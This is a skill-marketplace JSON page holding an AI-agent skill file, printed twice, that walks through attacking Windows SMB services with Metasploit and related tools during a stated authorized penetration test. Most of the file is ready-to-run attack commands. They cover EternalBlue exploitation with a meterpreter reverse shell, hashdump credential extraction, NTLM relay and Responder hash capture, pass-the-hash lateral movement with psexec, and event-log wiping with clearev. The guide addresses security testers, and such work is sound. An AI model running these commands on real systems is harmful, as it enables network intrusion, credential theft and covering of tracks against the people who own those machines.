[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71FRWA0A3EXD0WA9VEQ9WME":3,"skill-same:01M71FRWA0A3EXD0WA9VEQ9WME":95},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":39,"linkOnly":40,"markdownContent":41,"markdownBody":42,"frontMatter":43,"refName":68,"commitSha":69,"skillDirectory":70,"forksCount":14,"repositoryHtmlUrl":71,"repositoryHomepageUrl":6,"ownerHtmlUrl":72,"ownerBlogUrl":6,"ownerDescription":73,"updatedAt":74,"install":75,"resources":88},"01M71FRWA0A3EXD0WA9VEQ9WME","tools-metasploit-run-exploit",null,"Identifies and exploits SMB protocol vulnerabilities using Metasploit Framework during authorized penetration tests to demonstrate risks from unpatched Windows systems, misconfigured shares, and weak authentication in enterprise networks.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fnetwork\u002Ftools\u002Fmetasploit\u002Frun\u002Fexploit\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],"run","exploit","Tools","Metasploit","tools metasploit run exploit","windows","penetration","framework","sonnet","t1003","security","network","read","de","smb","Bash","cybersecurity","authentication","cm","eternalblue","2026-11-10 10:12:30",false,"---\nname: tools-metasploit-run-exploit\ndescription: Identifies and exploits SMB protocol vulnerabilities using Metasploit Framework during authorized penetration tests to demonstrate risks from unpatched Windows systems, misconfigured shares, and weak authentication in enterprise networks.\ndomain: cybersecurity\nsubdomain: network-security\ntags:\n- network-security\n- smb\n- metasploit\n- exploitation\n- eternalblue\nnist_csf:\n- PR.IR-01\n- DE.CM-01\n- ID.AM-03\n- PR.DS-02\nmodel: sonnet\nmaxTurns: 20\ntools: [Read, Bash, Glob, Grep]\nmitre_attack:\n- T1003\n- T1021\n- T1021.002\n- T1550.002\ncve:\n- CVE-2017-0144\n- CVE-2021-34527\n- CVE-2020-0796\ncapec: []\n---\n\n# Exploiting SMB Vulnerabilities with Metasploit\n\n## When to Use\n\n- Testing Windows systems for critical SMB vulnerabilities (EternalBlue, EternalRomance, PrintNightmare) during authorized penetration tests\n- Demonstrating lateral movement risks via SMB relay, pass-the-hash, and credential spraying\n- Validating that patch management processes have addressed known SMB vulnerabilities\n- Assessing SMB signing enforcement and share permission configurations across the domain\n- Testing network segmentation by attempting SMB exploitation across VLAN boundaries\n\n**Do not use** against systems without explicit written authorization, against production domain controllers without a maintenance window, or to deploy persistent backdoors beyond the scope of the assessment.\n\n## Prerequisites\n\n- Metasploit Framework 6.x installed (`msfconsole --version`)\n- Authorized penetration test scope document listing target IP ranges and approved attack types\n- Network access to target SMB services (TCP 445, TCP 139)\n- CrackMapExec and Impacket tools installed for complementary SMB testing\n- Valid test credentials or credential wordlists approved for the engagement\n- Kali Linux or equivalent testing platform\n\n## Workflow\n\n### Step 1: Enumerate SMB Services and Versions\n\n```bash\n# Discover hosts with SMB open using Nmap\nnmap -sS -p 445,139 --open -oA smb_hosts 10.10.0.0\u002F24\n\n# Enumerate SMB versions and OS information\nnmap -sV -p 445 --script smb-os-discovery,smb-protocols -oA smb_enum 10.10.0.0\u002F24\n\n# Use CrackMapExec for rapid SMB enumeration\ncrackmapexec smb 10.10.0.0\u002F24 --gen-relay-list smb_nosigning.txt\n\n# Check SMB signing status (disabled = vulnerable to relay)\ncrackmapexec smb 10.10.0.0\u002F24 --smb-signing\n\n# Enumerate shares with null session\ncrackmapexec smb 10.10.0.0\u002F24 -u '' -p '' --shares\n```\n\n### Step 2: Scan for Known SMB Vulnerabilities\n\n```bash\n# Start Metasploit and scan for MS17-010 (EternalBlue)\nmsfconsole -q\nmsf6> use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_ms17_010\nmsf6 auxiliary(smb_ms17_010)> set RHOSTS file:smb_hosts.txt\nmsf6 auxiliary(smb_ms17_010)> set THREADS 10\nmsf6 auxiliary(smb_ms17_010)> run\n\n# Scan for MS08-067 (Conficker vulnerability)\nmsf6> use auxiliary\u002Fscanner\u002Fsmb\u002Fms08_067_check\nmsf6 auxiliary(ms08_067_check)> set RHOSTS file:smb_hosts.txt\nmsf6 auxiliary(ms08_067_check)> run\n\n# Check for SMBGhost (CVE-2020-0796)\nnmap -p 445 --script smb-vuln-cve-2020-0796 10.10.0.0\u002F24\n\n# Check for PrintNightmare (CVE-2021-34527)\ncrackmapexec smb 10.10.0.0\u002F24 -u testuser -p 'TestPass123' -M printnightmare\n```\n\n### Step 3: Exploit EternalBlue (MS17-010)\n\n```bash\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nmsf6 exploit(ms17_010_eternalblue)> set RHOSTS 10.10.5.23\nmsf6 exploit(ms17_010_eternalblue)> set LHOST 10.10.1.99\nmsf6 exploit(ms17_010_eternalblue)> set LPORT 4444\nmsf6 exploit(ms17_010_eternalblue)> set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6 exploit(ms17_010_eternalblue)> set MaxExploitAttempts 3\nmsf6 exploit(ms17_010_eternalblue)> exploit\n\n# Post-exploitation -- verify access level\nmeterpreter> getuid\n# Server username: NT AUTHORITY\\SYSTEM\n\nmeterpreter> sysinfo\nmeterpreter> ipconfig\nmeterpreter> hashdump\n```\n\n### Step 4: Perform SMB Relay Attack\n\n```bash\n# Identify hosts without SMB signing (from Step 1)\n# Set up NTLM relay with Impacket\nsudo impacket-ntlmrelayx -tf smb_nosigning.txt -smb2support -i\n\n# Trigger authentication from a compromised host or via phishing\n# From Meterpreter session on a compromised host:\nmeterpreter> shell\nC:\\> net use \\\\10.10.1.99\\share \u002Fuser:DOMAIN\\admin password\n\n# Or use Metasploit's SMB relay module\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fsmb_relay\nmsf6 exploit(smb_relay)> set SMBHOST 10.10.5.30\nmsf6 exploit(smb_relay)> set LHOST 10.10.1.99\nmsf6 exploit(smb_relay)> exploit\n\n# Use responder to capture NTLM hashes for offline cracking\nsudo responder -I eth0 -wrfv\n```\n\n### Step 5: Pass-the-Hash and Lateral Movement via SMB\n\n```bash\n# Extract hashes from compromised system\nmeterpreter> hashdump\n# Administrator:500:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::\n\n# Use pass-the-hash with CrackMapExec\ncrackmapexec smb 10.10.0.0\u002F24 -u Administrator \\\n  -H e19ccf75ee54e06b06a5907af13cef42 --shares\n\n# Execute commands via pass-the-hash\ncrackmapexec smb 10.10.5.30 -u Administrator \\\n  -H e19ccf75ee54e06b06a5907af13cef42 -x \"whoami && hostname\"\n\n# Use Impacket psexec for interactive shell\nimpacket-psexec Administrator@10.10.5.30 \\\n  -hashes aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42\n\n# Use Metasploit psexec module\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fpsexec\nmsf6 exploit(psexec)> set RHOSTS 10.10.5.30\nmsf6 exploit(psexec)> set SMBUser Administrator\nmsf6 exploit(psexec)> set SMBPass aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42\nmsf6 exploit(psexec)> set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6 exploit(psexec)> set LHOST 10.10.1.99\nmsf6 exploit(psexec)> exploit\n```\n\n### Step 6: Document Findings and Clean Up\n\n```bash\n# Document all compromised systems and access levels\n# In Meterpreter, screenshot desktops for evidence\nmeterpreter> screenshot\n\n# List accessible shares and sensitive data\nmeterpreter> shell\nC:\\> net share\nC:\\> dir \\\\10.10.5.30\\C$\\Users\\ \u002Fs \u002Fb\n\n# Clean up -- remove any artifacts\nmeterpreter> clearev\nmeterpreter> shell\nC:\\> del \u002Ff C:\\Windows\\Temp\\payload.exe\n\n# Close all sessions\nmsf6> sessions -K\n\n# Verify cleanup\ncrackmapexec smb 10.10.5.23 -u Administrator -H \u003Chash> -x \"dir C:\\Windows\\Temp\\payload*\"\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **EternalBlue (MS17-010)** | Critical SMB vulnerability in SMBv1 allowing remote code execution as SYSTEM without authentication, originally developed by the NSA and leaked by Shadow Brokers |\n| **SMB Signing** | Cryptographic signing of SMB packets to prevent tampering and relay attacks; when disabled, attackers can relay NTLM authentication to other SMB hosts |\n| **Pass-the-Hash** | Authentication technique using captured NTLM password hashes directly instead of plaintext passwords, bypassing the need to crack the hash |\n| **NTLM Relay** | Attack where captured NTLM authentication is forwarded to a different server in real-time, granting the attacker access as the relayed user |\n| **PsExec** | Remote execution technique that uploads a service binary to the ADMIN$ share and creates a Windows service to execute commands as SYSTEM |\n| **Null Session** | Anonymous SMB connection (empty username and password) that may expose share listings, user enumeration, and policy information on misconfigured systems |\n\n## Tools & Systems\n\n- **Metasploit Framework**: Exploitation framework with dedicated SMB scanner, exploit, and post-exploitation modules for comprehensive SMB testing\n- **CrackMapExec**: Swiss-army knife for SMB enumeration, credential testing, share enumeration, and command execution across Windows networks\n- **Impacket**: Python library providing psexec, smbclient, ntlmrelayx, and other tools for low-level SMB protocol interaction\n- **Responder**: LLMNR\u002FNBT-NS\u002FmDNS poisoner that captures NTLM hashes from Windows name resolution fallback behavior\n- **enum4linux-ng**: Updated SMB enumeration tool for extracting users, groups, shares, and policies from Windows\u002FSamba hosts\n\n## Common Scenarios\n\n### Scenario: Internal Penetration Test Targeting Windows Domain via SMB\n\n**Context**: During an internal penetration test for a financial services firm, the tester has network access to the corporate VLAN (10.10.0.0\u002F16). The scope includes testing all Windows servers and workstations for SMB-related vulnerabilities. Active Directory domain is CORP.EXAMPLE.COM with approximately 200 hosts.\n\n**Approach**:\n1. Scan the entire \u002F16 for open SMB ports and enumerate OS versions with CrackMapExec\n2. Identify 12 hosts running Windows Server 2012 R2 without MS17-010 patch applied\n3. Exploit EternalBlue on a non-critical file server (10.10.5.23) to gain SYSTEM access\n4. Extract local administrator password hash using hashdump and discover password reuse across 47 hosts\n5. Use pass-the-hash to access a domain controller, extracting the NTDS.dit database\n6. Demonstrate that SMB signing is disabled on 83% of hosts, enabling relay attacks\n7. Document the complete attack chain showing how one unpatched system led to full domain compromise\n\n**Pitfalls**:\n- EternalBlue exploit can cause a blue screen of death (BSOD) on the target, especially on older or unstable systems\n- Running psexec on heavily monitored endpoints may trigger EDR alerts and burn the engagement\n- Performing hashdump on domain controllers with large databases can cause performance degradation\n- Not checking for SMBv1 explicitly -- some scanners may miss it if SMBv2\u002Fv3 is also available\n\n## Output Format\n\n```\n## SMB Vulnerability Assessment Report\n\n**Engagement**: Internal Penetration Test\n**Target Range**: 10.10.0.0\u002F16 (CORP.EXAMPLE.COM)\n**SMB Hosts Discovered**: 187\n\n### Critical Findings\n\n**Finding 1: MS17-010 (EternalBlue) - 12 Unpatched Hosts**\n- Severity: Critical (CVSS 9.8)\n- Affected: 10.10.5.23, 10.10.5.24, 10.10.8.10 (+ 9 others)\n- Impact: Remote code execution as SYSTEM without authentication\n- Exploited: Yes - gained SYSTEM on 10.10.5.23\n- Remediation: Apply MS17-010 patch, disable SMBv1\n\n**Finding 2: SMB Signing Disabled - 155\u002F187 Hosts**\n- Severity: High (CVSS 7.5)\n- Impact: NTLM relay attacks allow credential forwarding\n- Exploited: Yes - relayed domain admin credentials\n- Remediation: Enable SMB signing via Group Policy\n\n**Finding 3: Local Admin Password Reuse - 47 Hosts**\n- Severity: High (CVSS 7.2)\n- Impact: Compromise of one host enables lateral movement to 47 systems\n- Remediation: Deploy LAPS (Local Administrator Password Solution)\n```\n","# Exploiting SMB Vulnerabilities with Metasploit\n\n## When to Use\n\n- Testing Windows systems for critical SMB vulnerabilities (EternalBlue, EternalRomance, PrintNightmare) during authorized penetration tests\n- Demonstrating lateral movement risks via SMB relay, pass-the-hash, and credential spraying\n- Validating that patch management processes have addressed known SMB vulnerabilities\n- Assessing SMB signing enforcement and share permission configurations across the domain\n- Testing network segmentation by attempting SMB exploitation across VLAN boundaries\n\n**Do not use** against systems without explicit written authorization, against production domain controllers without a maintenance window, or to deploy persistent backdoors beyond the scope of the assessment.\n\n## Prerequisites\n\n- Metasploit Framework 6.x installed (`msfconsole --version`)\n- Authorized penetration test scope document listing target IP ranges and approved attack types\n- Network access to target SMB services (TCP 445, TCP 139)\n- CrackMapExec and Impacket tools installed for complementary SMB testing\n- Valid test credentials or credential wordlists approved for the engagement\n- Kali Linux or equivalent testing platform\n\n## Workflow\n\n### Step 1: Enumerate SMB Services and Versions\n\n```bash\n# Discover hosts with SMB open using Nmap\nnmap -sS -p 445,139 --open -oA smb_hosts 10.10.0.0\u002F24\n\n# Enumerate SMB versions and OS information\nnmap -sV -p 445 --script smb-os-discovery,smb-protocols -oA smb_enum 10.10.0.0\u002F24\n\n# Use CrackMapExec for rapid SMB enumeration\ncrackmapexec smb 10.10.0.0\u002F24 --gen-relay-list smb_nosigning.txt\n\n# Check SMB signing status (disabled = vulnerable to relay)\ncrackmapexec smb 10.10.0.0\u002F24 --smb-signing\n\n# Enumerate shares with null session\ncrackmapexec smb 10.10.0.0\u002F24 -u '' -p '' --shares\n```\n\n### Step 2: Scan for Known SMB Vulnerabilities\n\n```bash\n# Start Metasploit and scan for MS17-010 (EternalBlue)\nmsfconsole -q\nmsf6> use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_ms17_010\nmsf6 auxiliary(smb_ms17_010)> set RHOSTS file:smb_hosts.txt\nmsf6 auxiliary(smb_ms17_010)> set THREADS 10\nmsf6 auxiliary(smb_ms17_010)> run\n\n# Scan for MS08-067 (Conficker vulnerability)\nmsf6> use auxiliary\u002Fscanner\u002Fsmb\u002Fms08_067_check\nmsf6 auxiliary(ms08_067_check)> set RHOSTS file:smb_hosts.txt\nmsf6 auxiliary(ms08_067_check)> run\n\n# Check for SMBGhost (CVE-2020-0796)\nnmap -p 445 --script smb-vuln-cve-2020-0796 10.10.0.0\u002F24\n\n# Check for PrintNightmare (CVE-2021-34527)\ncrackmapexec smb 10.10.0.0\u002F24 -u testuser -p 'TestPass123' -M printnightmare\n```\n\n### Step 3: Exploit EternalBlue (MS17-010)\n\n```bash\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nmsf6 exploit(ms17_010_eternalblue)> set RHOSTS 10.10.5.23\nmsf6 exploit(ms17_010_eternalblue)> set LHOST 10.10.1.99\nmsf6 exploit(ms17_010_eternalblue)> set LPORT 4444\nmsf6 exploit(ms17_010_eternalblue)> set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6 exploit(ms17_010_eternalblue)> set MaxExploitAttempts 3\nmsf6 exploit(ms17_010_eternalblue)> exploit\n\n# Post-exploitation -- verify access level\nmeterpreter> getuid\n# Server username: NT AUTHORITY\\SYSTEM\n\nmeterpreter> sysinfo\nmeterpreter> ipconfig\nmeterpreter> hashdump\n```\n\n### Step 4: Perform SMB Relay Attack\n\n```bash\n# Identify hosts without SMB signing (from Step 1)\n# Set up NTLM relay with Impacket\nsudo impacket-ntlmrelayx -tf smb_nosigning.txt -smb2support -i\n\n# Trigger authentication from a compromised host or via phishing\n# From Meterpreter session on a compromised host:\nmeterpreter> shell\nC:\\> net use \\\\10.10.1.99\\share \u002Fuser:DOMAIN\\admin password\n\n# Or use Metasploit's SMB relay module\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fsmb_relay\nmsf6 exploit(smb_relay)> set SMBHOST 10.10.5.30\nmsf6 exploit(smb_relay)> set LHOST 10.10.1.99\nmsf6 exploit(smb_relay)> exploit\n\n# Use responder to capture NTLM hashes for offline cracking\nsudo responder -I eth0 -wrfv\n```\n\n### Step 5: Pass-the-Hash and Lateral Movement via SMB\n\n```bash\n# Extract hashes from compromised system\nmeterpreter> hashdump\n# Administrator:500:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::\n\n# Use pass-the-hash with CrackMapExec\ncrackmapexec smb 10.10.0.0\u002F24 -u Administrator \\\n  -H e19ccf75ee54e06b06a5907af13cef42 --shares\n\n# Execute commands via pass-the-hash\ncrackmapexec smb 10.10.5.30 -u Administrator \\\n  -H e19ccf75ee54e06b06a5907af13cef42 -x \"whoami && hostname\"\n\n# Use Impacket psexec for interactive shell\nimpacket-psexec Administrator@10.10.5.30 \\\n  -hashes aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42\n\n# Use Metasploit psexec module\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fpsexec\nmsf6 exploit(psexec)> set RHOSTS 10.10.5.30\nmsf6 exploit(psexec)> set SMBUser Administrator\nmsf6 exploit(psexec)> set SMBPass aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42\nmsf6 exploit(psexec)> set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6 exploit(psexec)> set LHOST 10.10.1.99\nmsf6 exploit(psexec)> exploit\n```\n\n### Step 6: Document Findings and Clean Up\n\n```bash\n# Document all compromised systems and access levels\n# In Meterpreter, screenshot desktops for evidence\nmeterpreter> screenshot\n\n# List accessible shares and sensitive data\nmeterpreter> shell\nC:\\> net share\nC:\\> dir \\\\10.10.5.30\\C$\\Users\\ \u002Fs \u002Fb\n\n# Clean up -- remove any artifacts\nmeterpreter> clearev\nmeterpreter> shell\nC:\\> del \u002Ff C:\\Windows\\Temp\\payload.exe\n\n# Close all sessions\nmsf6> sessions -K\n\n# Verify cleanup\ncrackmapexec smb 10.10.5.23 -u Administrator -H \u003Chash> -x \"dir C:\\Windows\\Temp\\payload*\"\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **EternalBlue (MS17-010)** | Critical SMB vulnerability in SMBv1 allowing remote code execution as SYSTEM without authentication, originally developed by the NSA and leaked by Shadow Brokers |\n| **SMB Signing** | Cryptographic signing of SMB packets to prevent tampering and relay attacks; when disabled, attackers can relay NTLM authentication to other SMB hosts |\n| **Pass-the-Hash** | Authentication technique using captured NTLM password hashes directly instead of plaintext passwords, bypassing the need to crack the hash |\n| **NTLM Relay** | Attack where captured NTLM authentication is forwarded to a different server in real-time, granting the attacker access as the relayed user |\n| **PsExec** | Remote execution technique that uploads a service binary to the ADMIN$ share and creates a Windows service to execute commands as SYSTEM |\n| **Null Session** | Anonymous SMB connection (empty username and password) that may expose share listings, user enumeration, and policy information on misconfigured systems |\n\n## Tools & Systems\n\n- **Metasploit Framework**: Exploitation framework with dedicated SMB scanner, exploit, and post-exploitation modules for comprehensive SMB testing\n- **CrackMapExec**: Swiss-army knife for SMB enumeration, credential testing, share enumeration, and command execution across Windows networks\n- **Impacket**: Python library providing psexec, smbclient, ntlmrelayx, and other tools for low-level SMB protocol interaction\n- **Responder**: LLMNR\u002FNBT-NS\u002FmDNS poisoner that captures NTLM hashes from Windows name resolution fallback behavior\n- **enum4linux-ng**: Updated SMB enumeration tool for extracting users, groups, shares, and policies from Windows\u002FSamba hosts\n\n## Common Scenarios\n\n### Scenario: Internal Penetration Test Targeting Windows Domain via SMB\n\n**Context**: During an internal penetration test for a financial services firm, the tester has network access to the corporate VLAN (10.10.0.0\u002F16). The scope includes testing all Windows servers and workstations for SMB-related vulnerabilities. Active Directory domain is CORP.EXAMPLE.COM with approximately 200 hosts.\n\n**Approach**:\n1. Scan the entire \u002F16 for open SMB ports and enumerate OS versions with CrackMapExec\n2. Identify 12 hosts running Windows Server 2012 R2 without MS17-010 patch applied\n3. Exploit EternalBlue on a non-critical file server (10.10.5.23) to gain SYSTEM access\n4. Extract local administrator password hash using hashdump and discover password reuse across 47 hosts\n5. Use pass-the-hash to access a domain controller, extracting the NTDS.dit database\n6. Demonstrate that SMB signing is disabled on 83% of hosts, enabling relay attacks\n7. Document the complete attack chain showing how one unpatched system led to full domain compromise\n\n**Pitfalls**:\n- EternalBlue exploit can cause a blue screen of death (BSOD) on the target, especially on older or unstable systems\n- Running psexec on heavily monitored endpoints may trigger EDR alerts and burn the engagement\n- Performing hashdump on domain controllers with large databases can cause performance degradation\n- Not checking for SMBv1 explicitly -- some scanners may miss it if SMBv2\u002Fv3 is also available\n\n## Output Format\n\n```\n## SMB Vulnerability Assessment Report\n\n**Engagement**: Internal Penetration Test\n**Target Range**: 10.10.0.0\u002F16 (CORP.EXAMPLE.COM)\n**SMB Hosts Discovered**: 187\n\n### Critical Findings\n\n**Finding 1: MS17-010 (EternalBlue) - 12 Unpatched Hosts**\n- Severity: Critical (CVSS 9.8)\n- Affected: 10.10.5.23, 10.10.5.24, 10.10.8.10 (+ 9 others)\n- Impact: Remote code execution as SYSTEM without authentication\n- Exploited: Yes - gained SYSTEM on 10.10.5.23\n- Remediation: Apply MS17-010 patch, disable SMBv1\n\n**Finding 2: SMB Signing Disabled - 155\u002F187 Hosts**\n- Severity: High (CVSS 7.5)\n- Impact: NTLM relay attacks allow credential forwarding\n- Exploited: Yes - relayed domain admin credentials\n- Remediation: Enable SMB signing via Group Policy\n\n**Finding 3: Local Admin Password Reuse - 47 Hosts**\n- Severity: High (CVSS 7.2)\n- Impact: Compromise of one host enables lateral movement to 47 systems\n- Remediation: Deploy LAPS (Local Administrator Password Solution)\n```\n",{"cve":44,"name":5,"tags":48,"capec":52,"model":27,"tools":53,"domain":35,"maxTurns":57,"nist_csf":58,"subdomain":49,"description":7,"mitre_attack":63},[45,46,47],"CVE-2017-0144","CVE-2021-34527","CVE-2020-0796",[49,33,50,51,38],"network-security","metasploit","exploitation",[],[54,34,55,56],"Read","Glob","Grep",20,[59,60,61,62],"PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02",[64,65,66,67],"T1003","T1021","T1021.002","T1550.002","main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Fnetwork\u002Ftools\u002Fmetasploit\u002Frun\u002Fexploit","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":76,"prompt":86,"zipAvailable":87},[77,80,83],{"tool":78,"command":79},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill tools-metasploit-run-exploit",{"tool":81,"command":82},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill tools-metasploit-run-exploit",{"tool":84,"command":85},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill tools-metasploit-run-exploit","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fnetwork\u002Ftools\u002Fmetasploit\u002Frun\u002Fexploit\u002FSKILL.md",true,[89],{"path":90,"resourceType":91,"resourceTypeDesc":92,"sizeBytes":93,"sourceHtmlUrl":94},"index.json","REFERENCE","参考文档",699,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fnetwork\u002Ftools\u002Fmetasploit\u002Frun\u002Fexploit\u002Findex.json",[96,106,129,149,170,190],{"skillNo":97,"name":98,"nameZh":6,"description":99,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":100,"licenseFileUrl":101,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":105},"01M73MDK3NT5XHNYTQ5P5172V9","devel-jb-algorithmic-art","- Embed algorithms inline in the HTML artifact (don't create separate .","Apache-2.0","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fdevel-jb-algorithmic-art\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fdevel-jb-algorithmic-art\u002FSKILL.md",[],[],"2026-11-11 15:11:14",{"skillNo":107,"name":108,"nameZh":6,"description":109,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":110,"categories":111,"keywords":112,"publishedAt":39},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[113,114,115,116,117,118,119,35,120,121,122,123,124,125,126,127,128,37,32],"services","detect","services wmi persistence detect","wmi","persistence","process-forensics","process","forensics","t1546.003","event-subscription","subscription","repository","commandline-consumer","subscriptions","event","activescript",{"skillNo":130,"name":131,"nameZh":6,"description":132,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":133,"categories":134,"keywords":135,"publishedAt":39},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[136,116,137,113,20,138,34,139,140,35,141,142,143,144,145,31,146,147,32,148],"exec","services wmi exec exploit","across","analysis","team","traffic","remote","crackmapexec","Impacket","lateral-movement","lateral movement","command","native",{"skillNo":150,"name":151,"nameZh":6,"description":152,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":153,"categories":154,"keywords":155,"publishedAt":39},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[156,157,158,159,160,27,161,162,163,164,31,32,165,166,139,167,34,35,168,169],"extract","registry artifact extract","registry","artifact","digital-forensics","regripper","windows-registry","evidence-collection","software","uncover","analyze","collection","artifact-analysis","activity",{"skillNo":171,"name":172,"nameZh":6,"description":173,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":174,"categories":175,"keywords":176,"publishedAt":39},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[177,178,179,114,35,180,37,181,24,182,118,32,183,184,185,51,186,187,188,189],"processes","token","processes token impersonate detect","techniques","escalation","attacks","via","impersonation","potato","printspoofer","token-impersonation","seimpersonate","privilege-escalation",{"skillNo":191,"name":192,"nameZh":6,"description":193,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":194,"categories":195,"keywords":196,"publishedAt":39},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[197,177,198,114,199,200,119,32,183,201,202,203,139,118,35,180,204,37,205,24],"thread","injection","processes thread injection detect","thread-injection","nt-api","apc-injection","api","process-injection","memory"]